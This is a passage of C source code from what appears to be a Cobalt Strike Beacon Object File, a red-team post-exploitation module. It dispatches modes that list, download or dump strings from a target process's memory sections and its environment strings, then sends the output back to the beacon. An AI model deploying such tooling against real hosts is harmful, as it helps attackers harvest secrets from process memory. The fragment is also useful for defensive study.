&nt, hProc, &stringFormatObject); 630 | printEnvStrings(&ProcessParams, &nt, hProc, &stringFormatObject); 631 | goto exitbof1; 632 | } 633 | 634 | // List || Download Memory Sections Mode 635 | int memmode = 0x0; 636 | if (xstrcmp("list",mode,4) == 0x00 ){ 637 | memmode = 0x1; 638 | } 639 | else if (xstrcmp("download",mode,8) == 0x00 ){ 640 | memmode = 0x2; 641 | } 642 | else if (xstrcmp("strings",mode,6) == 0x00 ){ 643 | memmode = 0x3; 644 | } 645 | 646 | //BeaconFormatPrintf(&stringFormatObject, "memmode: %d\n",memmode); 647 | if (memmode != 0x00 ){ 648 | if (xstrcmp("private",option,7) == 0x00 ){ 649 | listMemorySections(&nt, hProc, &stringFormatObject,memmode,2,option2); 650 | } 651 | else if (xstrcmp("image",option,5) == 0x00 ){ 652 | listMemorySections(&nt, hProc, &stringFormatObject,memmode,3,option2); 653 | } 654 | else if (xstrcmp("mapped",option,6) == 0x00 ){ 655 | listMemorySections(&nt, hProc, &stringFormatObject,memmode,4,option2); 656 | } 657 | else{ 658 | listMemorySections(&nt, hProc, &stringFormatObject,memmode,1,option2); 659 | } 660 | } 661 | 662 | if (memmode == 0x02 ){ 663 | return; 664 | } 665 | if (memmode == 0x03 ){ 666 | return; 667 | } 668 | 669 | exitbof1: 670 | KERNEL32$RemoveVectoredExceptionHandler(h1); 671 | //BeaconPrintf(CALLBACK_OUTPUT,"error: %d", err); 672 | if (err != 0x00){ 673 | BeaconPrintf(CALLBACK_ERROR,"Error in BOF, exiting.."); 674 | } 675 | if (hProc != NULL){ 676 | nt.NtClose(hProc); 677 | } 678 | int sizeOfObject = 0; 679 | char* outputString = NULL; 680 | outputString = BeaconFormatToString(&stringFormatObject, &sizeOfObject); 681 | BeaconOutput(CALLBACK_OUTPUT, outputString, sizeOfObject); 682 | BeaconFormatFree(&stringFormatObject); 683 | return; 684 | } --------------------------------------------------------------------------------